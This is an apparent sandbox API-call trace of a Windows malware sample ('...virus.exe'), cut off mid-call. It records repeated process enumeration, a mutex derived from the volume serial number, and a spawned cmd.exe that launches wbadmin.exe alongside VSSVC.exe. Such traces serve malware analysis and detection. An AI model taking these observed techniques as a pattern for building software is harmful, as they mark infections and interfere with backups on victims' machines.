cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.415] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.415] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.419] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.419] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.419] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.420] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.420] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.420] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.421] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0280.421] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.421] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.423] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.424] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.424] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.424] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.425] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.425] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.425] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.426] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.426] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.426] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0280.427] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.427] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0280.427] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0280.428] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.428] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0280.428] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0280.429] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.429] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.430] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.430] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="wbadmin.exe")) returned 1 [0280.430] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="wbadmin.exe")) returned 0 [0280.430] CloseHandle (hObject=0x190) returned 1 [0280.431] Sleep (dwMilliseconds=0x1f4) [0280.944] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0280.946] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.946] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.947] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.947] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.948] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.948] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.948] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.949] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.956] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.968] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0280.968] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.969] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.969] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.969] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.970] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.970] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.971] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.971] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.972] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.972] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.973] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.973] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0280.973] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.974] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0280.974] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0280.975] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.975] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0280.976] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0280.976] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.976] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.977] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.977] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="wbadmin.exe")) returned 1 [0280.978] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="wbadmin.exe")) returned 0 [0280.978] CloseHandle (hObject=0x1c4) returned 1 [0280.978] Sleep (dwMilliseconds=0x1f4) Thread: id = 73 os_tid = 0x314 [0194.593] GetVersion () returned 0x1db10106 [0194.593] GetCurrentProcess () returned 0xffffffff [0194.593] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x255f844 | out: TokenHandle=0x255f844*=0x120) returned 1 [0194.594] GetTokenInformation (in: TokenHandle=0x120, TokenInformationClass=0x14, TokenInformation=0x255f83c, TokenInformationLength=0x4, ReturnLength=0x255f840 | out: TokenInformation=0x255f83c, ReturnLength=0x255f840) returned 1 [0194.594] CloseHandle (hObject=0x120) returned 1 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a0d8 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a1f0 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a218 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x572220 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572220 | out: hHeap=0x550000) returned 1 [0194.594] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a1f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a218 | out: hHeap=0x550000) returned 1 [0194.594] GetProcessHeap () returned 0x550000 [0194.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a0d8 | out: hHeap=0x550000) returned 1 [0194.594] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.595] GetProcessHeap () returned 0x550000 [0194.595] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a1f0 | out: hHeap=0x550000) returned 1 [0194.595] GetProcessHeap () returned 0x550000 [0194.595] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643e8 [0194.595] GetProcessHeap () returned 0x550000 [0194.595] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564430 [0194.597] GetProcessHeap () returned 0x550000 [0194.597] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564430, Size=0x72) returned 0x55fb10 [0194.597] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x120 [0194.597] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0x0) returned 0x102 [0194.597] CloseHandle (hObject=0x120) returned 1 [0194.597] GetProcessHeap () returned 0x550000 [0194.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643e8 | out: hHeap=0x550000) returned 1 [0194.598] GetProcessHeap () returned 0x550000 [0194.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0194.598] Sleep (dwMilliseconds=0x3e8) [0196.035] GetProcessHeap () returned 0x550000 [0196.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a420 [0196.035] GetProcessHeap () returned 0x550000 [0196.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a448 [0196.035] GetProcessHeap () returned 0x550000 [0196.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a470 [0196.035] GetProcessHeap () returned 0x550000 [0196.035] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0196.035] GetProcessHeap () returned 0x550000 [0196.035] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0196.035] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a448, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0196.035] GetProcessHeap () returned 0x550000 [0196.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a470 | out: hHeap=0x550000) returned 1 [0196.036] GetProcessHeap () returned 0x550000 [0196.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a420 | out: hHeap=0x550000) returned 1 [0196.036] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0196.036] GetProcessHeap () returned 0x550000 [0196.036] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a448 | out: hHeap=0x550000) returned 1 [0196.037] GetProcessHeap () returned 0x550000 [0196.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0196.037] GetProcessHeap () returned 0x550000 [0196.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) 